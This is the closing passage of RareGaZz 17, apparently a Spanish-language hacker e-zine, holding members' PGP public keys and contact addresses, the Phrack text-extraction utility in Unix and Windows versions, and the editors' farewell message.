691JscVA0i9/Nm3gK/kOFNEQ5aw46vmoxCmeQX5Klcu9D5XLJPmdoE4fJ10gAt++
l33AZpwwnTEdZm0KtNmwUvi0AovsGxjikEHastBFgNEnhhiZGZYQiWHRKC1hzzWH
70PFeEcWPScJsPoYNYn6eNn3tu12kCl+T3CONWIfW8225ZWY6MrJtUgKDlDGpZip
U2lezccbh2cAIeLtz3a11lTotMYvBZeG54jF/uK0i6lv0nhlt+88jVu1/HR+/GgY
y1Zp7GgqyE+j2pqTe9TdKVOKOG4SoPFtJZWJYGcABRG0IUd1eUJydXNoIDxndXli
cnVzaEBjeWJlcmR1ZGUuY29tPokBFQMFEDfClxyg8W0llYlgZwEBVWQIAKQFkb8Y
MHyBTu64TVEh9+PJd5Cw+uNf1OYwHWIMJiNGScqEJPxYXxd4A1F7Bixchph6ODNB
r9XoEm8lux67nIPPhsj1QxqTr/0bin0gpctVIffL+tn1vhNW4NnhkeF3a4ZZdKim
2ZrVxOK2zWTTzs4owTp8tFwMtNKRs+KxKWL2N3AWvPeWxey7fDRdt15Wxw8/UFpL
kO0sSBZjL8WKMeoVfWr691cNJ/rXdG5b18TXTj7sSp2T3/SvhDfWupo8CSSKimES
h1sgYhKHZ11kJ6oaGQbH4W7jAVCD0DqghAMQMaUDnvfuGYZtzvjNbwbqEByhXn21
M1EiyA1rrv2vukA=
=yIew
-----END PGP PUBLIC KEY BLOCK-----
<-->
Alt3kx_h3z // alt3kx_h3z@hotmail.com
<++> R17/PGP/Alt3kx_h3z.asc
pub 1024 0x29D0F37F 1999-01-16 ---------- DSS Sign & Encrypt
sub 2048 0x41B51D4D 1999-01-16 ---------- Diffie-Hellman
uid @ltekx_H3z <altekx_hez@mailbox.comunnet.com.mx>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQGiBDagLQIRBAD19YZqKJQABu0Ot7pO4wKDZkNhRRxPYLgV5KAyY3wMzDkKDBlX
Fk3Mj5swX4D6aqK8ABp0gpNCrxXXKNXvDtVgMWiik716ll/3q9TgSz4Pc9a/09Ab
74Pl1WfPUOOrpIT7e38Rx+MhC8+pe6mFod2lyudBytc8ChB2qgmH8SyYBwCg/2KS
cyD+7rkaSB8USrDxIlwWFI0EAOyAPRgpvnlHGNG1QMVqQybw6d1zEnVJoTs6MPmD
kwRDHO3eSWm1Iu5BNPu/cZQHW8tIEdFjQbJ9gF7hid43CjJXWFeKGGda/s2PQroG
Ba1b5LP6cD57mtQGtnpMdUiRB8uIIKy8G+3xh7pzCqJMmGHlBV2xtnlYC3UWlrjc
ejUnBADoXtF3ZBzroIUK0nikgcVGItJoiroCDOsUc0xLLA2RWlmsalbcIKtsPk3f
Yf1zFGMlwusTAasvPZqhqS32h0wF7QjDd6pPw7P7rq0/2QVRQGGX+eqIx843jaz1
4+MWNoG79+rCjkXhEM60NlYzDhvGn+qa8wPj1P1jKFq8o05A0LQvQGx0ZWt4X0gz
eiA8YWx0ZWt4X2hlekBtYWlsYm94LmNvbXVubmV0LmNvbS5teD6JAEsEEBECAAsF
AjagLQIECwMCAQAKCRBDFPYDKdDzf9kLAKC0vZjlLn5WaGDWUBKz8NayPBmecgCf
WLqmpjGozJIgGjkS0tGzhuv6iQK5Ag0ENqAtAhAIAPZCV7cIfwgXcqK61qlC8wXo
+VMROU+28W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh01D4
9Vlf3HZSTz09jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscBqtNb
no2gpXI61Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFstjvbz
ySPAQ/ClWxiNjrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISnCnLW
hsQDGcgHKXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVekyCzsA
AgIH/3DhFJvU7oj2awM3KqvQvfWslHWR7GKXi/5jH7N0gL13x22ikvuiPyhyKpc5
JE0SjbKDfLRvCaUUq6FxVIFwpunqqPA5+0EDolFEeHZ0XpmHZR7+V/x3jQaG5pus
HXl43kc4FCeyA86qkqPqbcJuKLf2n2QVusfSn2xpBlB1761zKyZcZlZebjZWx4op
A5Td6Lu6LBcYBarAEvegkqXEckDCsPfMWI3237rjzMOCW1sIk+yWke25/8KXWmB/
pvtgWV2wdzzYMGUbe4gKB+81FMfoXDN/GwsSDJpkNWjcXivXnLZv2Zvqav6PmQtL
hIcUpDFw4cX5DvYWI8OMxktSBEmJAEYEGBECAAYFAjagLQIACgkQQxT2AynQ839e
eACgq/zb4GgYM/32SvFNOFob3Orl0J4AoIJ8SBshPlvxM9lxPv+tKM9vCDOm
=DptJ
-----END PGP PUBLIC KEY BLOCK-----
<-->
enan0 // ditiemef@iname.com
<++> R17/PGP/enan0.asc
pub 2047 0x2A15E289 2000-07-13 ---------- RSA Sign & Encrypt
uid enan0
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQENAzltRosAAAEH/3Q1cvJY5s8JXAB93SM63EwW3C/uEdBjlM95yBDYW17nv/rc
v0bQrfBSJ6VFeOxoDWk/K1gYx2pwxt1ij/17NIJRW8I5rxMynjLABqv2Ak50xKL2
DnS/DOHZ64edC5R5Qa9PFqC5TUBfqdv9D23VIxBT+Olw4VeL+d1M7S5lbIGT3o9Z
Mj4S/TxOVSX5gSrMmhgnBOC0REuwGUMlByQiDLBVZdeuXQK//c+Y8ksCz/QRbhTC
bOE9UZ8kMWvSaHU5LEAuCM1voEI7RyNcT8G+x60l6jQKXYv48BQLcTXhp/OrVaGM
Zlq2BIISFpciSP1UNXWjLcQEgGHAJEU6XSoV4okABRG0BWVuYW4w
=Mwlv
-----END PGP PUBLIC KEY BLOCK-----
<-->
y0ni // y0ni@mail.com
<++> R17/PGP/y0ni.asc
pub 2048 0x0645C3C9 2000-02-29 ---------- RSA Sign & Encrypt
uid y0ni <y0ni@mail.com>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQENAzi8IQ4AAAEIALts0Fxe3Ng9Q3mhQc1Amroq1QiDJQnUFuzqUp4Jcfdzt6Pa
D8dtK0B0w1PpULry6lohRPpywTJdRISVJe3Ywc3vXy4e1QnMJGFWXQZs04E0CjUx
WkvQWD+aG177kdomYArx7IJeJy8gAWb2e+E8jUl5QKL1z4qJxW5BKrpPlIG3gVhM
Y/KlW1wMpIC6eNqviqlRkwhbEJPnVu704Oncik80SDst5+nO5UlAq3CPdKXMPP+V
yBld+pEmsRi+pyh/l/U9UKyccSwBKeh1qot+Avc6V/uWTvp2dk7oF8XByiXQP1NG
vjF4409He6Dcl47uud1UOzdJC4HMpEd5EgZFw8kABRG0FHkwbmkgPHkwbmlAbWFp
bC5jb20+iQEVAwUQOLwhDqRHeRIGRcPJAQF56wf+ODzWtqiMDNk+WylxLzpe2CPU
NQgEl7jB3A6nrltcwJRF7MDSA4aC3cgxILQSzpbdn5umAkQnL3fM7YJ9V5t8Y6ln
goqOcVOsWoUz7M7zPTeNBffgBsSHOuLv1F4/9mVUmiJeco9W6Sp+3fva3r34rqnm
caKNSnMZjhZd7j/pf3yLwpLrSVaOuNFoNy93azMf7kcF1HKS8D22tDJQnXQtaLvJ
JDKnduTLz/MnRW08iWu891l8BhgPFRGW8dsHwfrntnc/lWV61msEwTWnLh+zFwAc
zbXuW6dFOUDf1COEAbJBs977KcRg2Yf0y6e1pOlHceNkhBCOg7ejXo+DvUui6g==
=o9mE
-----END PGP PUBLIC KEY BLOCK-----
<-->
Yo_Soy // varf@bigfoot.com
<++> R17/PGP/Yo_Soy.asc
pub 1024 0x10400598 1998-08-21 ---------- DSS Sign & Encrypt
sub 2048 0xF42A84CE 1998-08-21 ---------- Diffie-Hellman
uid Yo_Soy <varf@bigfoot.com>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQGiBDXd390RBAD2O5PdPfbB/Na6xe8WZQhqgbI9ZN8mo5ra8AphgGJm9nzJmDNr
K4+wGrIdeI1I7bEv+5L2t7oz2Lye+U2wGGFfPvdAit7Vh50eim0OTQWayT/EuPLA
bYUJz0AtrQ85b+KYmF7LEh5PbRSOaxIqCWq1sDloEnxYEqCbXBlTIe/UyQCg/8Yg
cwFZkonW1UXdQ9Y1THdnaL8EANMLBs371kkOOBXElsoGFtdD8VvCEi7Dd1zXbWsp
9dGBkTPp1OLVR9IdktjbxEizPL2CDxR+O5Wp481i+9Rv+yrl63LX505pfjHlFKmh
fWg7eQGMbu6iQuDLpds+baN3EtxFF6xy9pDAeHXmHw69wZMD1wnCfdO4pfDEB1IX
Kgh9A/9h9NLl2McJktmt+l8MzD4mMFHmTH29nvUvHiw03Ledpf3Jx3DLX7sdAZny
dLgdCvoZPbT575gpNZ3HYpLnqvTOplHqzLN4skQUTWIl2YSHqXJLYuT0CXVHHdd5
2eSc7RzPUeFx4F9PkOi7DEtW2sFoji3dGNjcFHie0ktzOttQ6bQZWW9fU295IDx2
YXJmQGJpZ2Zvb3QuY29tPokASwQQEQIACwUCNd3f3QQLAwIBAAoJENESGWgQQAWY
Ef8AoNKfkQ0TUZ2i6M9M+Ao79Mst5hkcAJ9ojAytqkF9HW/87ucLwUeXbhP70LkC
DQQ13d/fEAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlLOCDaAadWoxTpj0BV
89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N286Z4VeSWc39uK50
T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/RgBYK+X0iP1YTknb
zSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2Ou1WMuF040zT9fBdX
Q6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZyAcpesqVDNmWn6vQClCbAkbT
CD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAggAu2giagpJiqf2Yjk/wb8aAd3a
b0UV6mZ2T6pzXV7O4xwko9IWNaCYDCs5xJloH0lr8mfgTujO1EnyydKPOG3jjFFz
4Do2vZ1VMnzLQ25tZMYHOn+8qum25onXgKbWU4wLfZWoMNy88NUI+ubjRmywLuGB
/+jptPC6h33teJYqoqSoX7AXH/HtnO6pTjdXZQvCkNpAtddjCc/7w7ydjgoSmz9f
wvfPs/fXBfJ0/hZFsEELZJicE5PNQ8PKdmQL56ttiuYylk4C2IHjF9g/32AMo/TH
S2Hd+buyYjZE36MEpIXEuWf/5wxZSjl0TmRL37ffd1Uqey0WraZI3YgCpZttSokA
RgQYEQIABgUCNd3f4AAKCRDREhloEEAFmMQgAJ0SvPcAjrZ6c1Yp08S1IrZcWudQ
VQCg9jwTxlwRdQAWIFHqwZ3y0uB7BxA=
=z8re
-----END PGP PUBLIC KEY BLOCK-----
<-->
ReYDeS // reydes@fnmail.com
<++> R17/PGP/ReYDeS.asc
sec+ 2048 0x098193F7 2000-10-20 ---------- RSA Sign & Encrypt
uid ReYDeS
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQENAznwhb4AAAEIAOIH5uNJWG2ePhhgNuun0M1yb9+ik4viaizrdk30R+OUjVGV
rxtMJkmhYKs+T/q4JXwaWHwomEqhitAa2su4Ez2p0Jd5dh0m74qtqZPzNoN0SkKm
AMt6heusOkVTCjVI+vTsY501gvolkiUHcB+p3+NDgxcSh5PQ4Ty0ZxFTxpIHwhpx
oUH6EIVZQj9p+PYkFLQJP0oXkkdVKJ7Rk370xyA/gjuv770i1F251V2XD580fD/Y
6igbcN2c+ydJbLZAU+LV90sVwIUoZTNUrDY6D6tS3mxz2EXeZpwqkKQe+TXI1k1J
INxJjp5Jx2ZUptlBXC5V7ft5ge+tqPOFtAmBk/cABRG0BlJlWURlU4kBFQMFEDnw
hb6o84W0CYGT9wEBhdsIAKVRQL+kXEIlj/oDNoHV4XEARWCWlEUdYiE5rbdDOlfO
Tfw0B/16oc4tI6+pPpUE3Lmrj6zjZuc63vyucwYFZU3bTF29YEJ4np7/wtpN0Sdw
Dwe0ZRAEi16+g13rPCUud1u7MnMEgr/drQKFt/VuWm7ihJxJZ2C/dt2Lvntsi9MC
tcDgd+b8tr2ajn33ASGbB2Dik4E/UHZOTj4qLlHXQndPv1XkH5oPaQQk59pfFy/I
OFoAllWqU5uApTsWDFe62ffZBHf2nIf8NSeKLIuNLWEKXenz92h4yZK2FUUnUo0u
ps9MxV57HSKnIaEhLTZ4D20O9+bOsDPyA+Jw2Ca4iC8=
=gpab
-----END PGP PUBLIC KEY BLOCK-----
<-->
Ocsic // pisco@private.as
<++> R17/PGP/Ocsic.asc
pub 1024 0x2CA5AA90 1999-08-24 ---------- DSS Sign & Encrypt
sub 4096 0x4807B59F 1999-08-24 ---------- Diffie-Hellman
uid ocsic
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
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
XiAhVsaVAJ4+W32o//aShux+Gz/k2CYqRRZTRg==
=niuY
-----END PGP PUBLIC KEY BLOCK-----
<-->
Cytorax // cytorax@bigfoot.com
<++> R17/PGP/Cytorax.asc
pub 1024 0x2D23674D 1997-12-03 ---------- RSA Sign & Encrypt
uid Cytorax <Cytorax@bigfoot.com>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQCNAzSFCWgAAAEEAMfbmLIFrwArZmk6mM9B1kDJb9TFWpBpF5GoWfZyZvqlOMV0
e/0ngWnisCQcbZy42knU3brXuwyOzyRZ4DrfPfnGmShx8FpEM/uCszQYF00JQsWD
95Emq1I5d0V+BUAtoaMeCZn6dU5sgteImgIAxDR5lx4r8yWq70jBPfwtI2dNAAUR
tB1DeXRvcmF4IDxDeXRvcmF4QGJpZ2Zvb3QuY29tPokAlQMFEDSFCWlIwT38LSNn
TQEBSeoEAMBzsNwdq1A4EXT9ZkEwgSCeLofv7rUoJn4w75FvEBCfofijDWUwCkQJ
FHGwcnAW4xg0wJzs4MByjSEvLnxCB++BmwGM6l8/NiyrolDk7rnOaHI1tU0wcCmz
oNhHQdrfL0zmRNlR5QvXqlPnRxCB/GgLXLyrJGtvoDtv6U3SaL4s
=Xw7I
-----END PGP PUBLIC KEY BLOCK-----
<-->
^Shadown^ // shadown@bariloche.com.ar
<++> R17/PGP/Shadown.asc
<-->
+------+-------------------------------------------+----------+--------------+
| +-->| Phrack Extraction Utility |<---------| Phrack |
+->|<--> r17_13 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
Mediante esta utilidad os sera posible extraer texto de los diferentes
escritos incluidos en RareGaZz. Para obtener la ultima revision de esta
utilidad, dirigirse a la Phrack Magazine.
<++> R17/UTILS/extract.c
/* extract.c by Phrack Staff and sirsyko
*
* (c) Phrack Magazine, 1997
* 1.8.98 rewritten by route:
* - aesthetics
* - now accepts file globs
* todo:
* - more info in tag header (file mode, checksum)
* Extracts textfiles from a specially tagged flatfile into a hierarchical
* directory strcuture. Use to extract source code from any of the articles
* in Phrack Magazine (first appeared in Phrack 50).
*
* gcc -o extract extract.c
*
* ./extract file1 file2 file3 ...
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
#include <dirent.h>
#define BEGIN_TAG "<++> "
#define END_TAG "<-->"
#define BT_SIZE strlen(BEGIN_TAG)
#define ET_SIZE strlen(END_TAG)
struct f_name
{
u_char name[256];
struct f_name *next;
};
int
main(int argc, char **argv)
{
u_char b[256], *bp, *fn;
int i, j = 0;
FILE *in_p, *out_p = NULL;
struct f_name *fn_p = NULL, *head = NULL;
if (argc < 2)
{
printf("Usage: %s file1 file2 ... filen\n", argv[0]);
exit(0);
}
/*
* Fill the f_name list with all the files on the commandline (ignoring
* argv[0] which is this executable). This includes globs.
*/
for (i = 1; (fn = argv[i++]); )
{
if (!head)
{
if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
strncpy(head->name, fn, sizeof(head->name));
head->next = NULL;
fn_p = head;
}
else
{
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
fn_p = fn_p->next;
strncpy(fn_p->name, fn, sizeof(fn_p->name));
fn_p->next = NULL;
}
}
/*
* Sentry node.
*/
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
fn_p = fn_p->next;
fn_p->next = NULL;
/*
* Check each file in the f_name list for extraction tags.
*/
for (fn_p = head; fn_p->next; fn_p = fn_p->next)
{
if (!(in_p = fopen(fn_p->name, "r")))
{
fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
continue;
}
else fprintf(stderr, "Opened %s\n", fn_p->name);
while (fgets(b, 256, in_p))
{
if (!strncmp (b, BEGIN_TAG, BT_SIZE))
{
b[strlen(b) - 1] = 0; /* Now we have a string. */
j++;
if ((bp = strchr(b + BT_SIZE + 1, '/')))
{
while (bp)
{
*bp = 0;
mkdir(b + BT_SIZE, 0700);
*bp = '/';
bp = strchr(bp + 1, '/');
}
}
if ((out_p = fopen(b + BT_SIZE, "w")))
{
printf("- Extracting %s\n", b + BT_SIZE);
}
else
{
printf("Could not extract '%s'.\n", b + BT_SIZE);
continue;
}
}
else if (!strncmp (b, END_TAG, ET_SIZE))
{
if (out_p) fclose(out_p);
else
{
fprintf(stderr, "Error closing file %s.\n", fn_p->name);
continue;
}
}
else if (out_p)
{
fputs(b, out_p);
}
}
}
if (!j) printf("No extraction tags found in list.\n");
else printf("Extracted %d file(s).\n", j);
return (0);
}
/* EOF */
<-->
Lo siguiente es la version for Windows.
<++> R17/UTILS/extract-win.c !e519375d
/***************************************************************************/
/* WinExtract */
/* */
/* Written by Fotonik <fotonik@game-master.com>. */
/* */
/* Coding of WinExtract started on 22aug98. */
/* */
/* This version (1.0) was last modified on 22aug98. */
/* */
/* This is a Win32 program to extract text files from a specially tagged */
/* flat file into a hierarchical directory structure. Use to extract */
/* source code from articles in Phrack Magazine. The latest version of */
/* this program (both source and executable codes) can be found on my */
/* website: http://www.altern.com/fotonik */
/***************************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
void PowerCreateDirectory(char *DirectoryName);
int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst,
LPSTR lpszArgs, int nWinMode)
{
OPENFILENAME OpenFile; /* Structure for Open common dialog box */
char InFileName[256]="";
char OutFileName[256];
char Title[]="WinExtract - Choose a file to extract files from.";
FILE *InFile;
FILE *OutFile;
char Line[256];
char DirName[256];
int FileExtracted=0; /* Flag used to determine if at least one file was */
int i; /* extracted */
ZeroMemory(&OpenFile, sizeof(OPENFILENAME));
OpenFile.lStructSize=sizeof(OPENFILENAME);
OpenFile.hwndOwner=HWND_DESKTOP;
OpenFile.hInstance=hThisInst;
OpenFile.lpstrFile=InFileName;
OpenFile.nMaxFile=sizeof(InFileName)-1;
OpenFile.lpstrTitle=Title;
OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;
if(GetOpenFileName(&OpenFile))
{
if((InFile=fopen(InFileName,"r"))==NULL)
{
MessageBox(NULL,"Could not open file.",NULL,MB_OK);
return 0;
}
/* If we got here, InFile is opened. */
while(fgets(Line,256,InFile))
{
if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */
{
Line[strlen(Line)-1]='\0';
strcpy(OutFileName,Line+5);
/* Check if a dir has to be created and create one if necessary */
for(i=strlen(OutFileName)-1;i>=0;i--)
{
if((OutFileName[i]=='\\')||(OutFileName[i]=='/'))
{
strncpy(DirName,OutFileName,i);
DirName[i]='\0';
PowerCreateDirectory(DirName);
break;
}
}
if((OutFile=fopen(OutFileName,"w"))==NULL)
{
MessageBox(NULL,"Could not create file.",NULL,MB_OK);
fclose(InFile);
return 0;
}
/* If we got here, OutFile can be written to */
while(fgets(Line,256,InFile))
{
if(strncmp(Line,"<-->",4)) /* If line doesn't begin w/ "<-->" */
{
fputs(Line, OutFile);
}
else
{
break;
}
}
fclose(OutFile);
FileExtracted=1;
}
}
fclose(InFile);
if(FileExtracted)
{
MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK);
}
else
{
MessageBox(NULL,"Nothing to extract.","Warning",MB_OK);
}
}
return 1;
}
/* PowerCreateDirectory is a function that creates directories that are */
/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */
void PowerCreateDirectory(char *DirectoryName)
{
int i;
int DirNameLength=strlen(DirectoryName);
char DirToBeCreated[256];
for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */
{ /* create '/' */
if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')||
(i==DirNameLength-1))
{
strncpy(DirToBeCreated,DirectoryName,i+1);
DirToBeCreated[i+1]='\0';
CreateDirectory(DirToBeCreated,NULL);
}
}
}
<-->
+------+-------------------------------------------+----------+--------------+
| +-->| Despedida |<---------| RareGaZz |
+->|<--> r17_14 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
Dentro de la muchas conjeturas que vosotros os habeis hecho; sobre el
porque de la NO salida de RareGaZz; espero que en el transcurso de la lectura
de RareGaZz 17, os hayais dado cuenta de la razon.
Lo que hace a RareGaZz no es una sola persona; somos diversos
individuos con nuestras propias ocupaciones; llamase trabajo o estudio; con
vidas propias; pero con el mismo objetivo de compartir nuestros conocimientos
con todos vosotros.
Se trato de que RareGaZz 17 estuviese a punto, en un tiempo
determinado; pero ya veis; no somos buenos para este tipo de calculos.
Puntos aparte; espero que la lectura de esta edicion de RareGaZz, os
haya sido fructifera. Y estaran de acuerdo con este servidor, de la etapa de
'cambios' por la que esta atravesando vuestro ezine. Os prometemos para un
proximo numero de RareGaZz, articulos que superen con creces a los publicados
en esta edicion.
Recuerden la nueva direccion de nuestra pagina Web:
http://dkch.net/raregazz/
http://raregazz.dkch.net/
Si deseais establecer contacto con nosotros, ya sabeis nuestro e-mail;
y el de los integrantes podeis hallarlos junto con sus respectivas llaves pgp.
Si su interes en colaborar con nosotros, leed primero la seccion pandemoniun.
Me resta solo agradecer, a todos vosotros por leernos, y estar siempre
atentos a lo que acontece con RareGaZz.
Nos vemos el Proximo A~o. Diviertanse este fin del 2000. No hagan nada
que yo NO haria. Y si se portan Mal, INVITEN!!!.
<:: RareGaZz ::>
+-->" Si dudas en hacer algo; hazlo!. Es mejor arrepentirse
--+--|<-+- de haber hecho algo. Y no, de no haberlo hecho. "
y.o.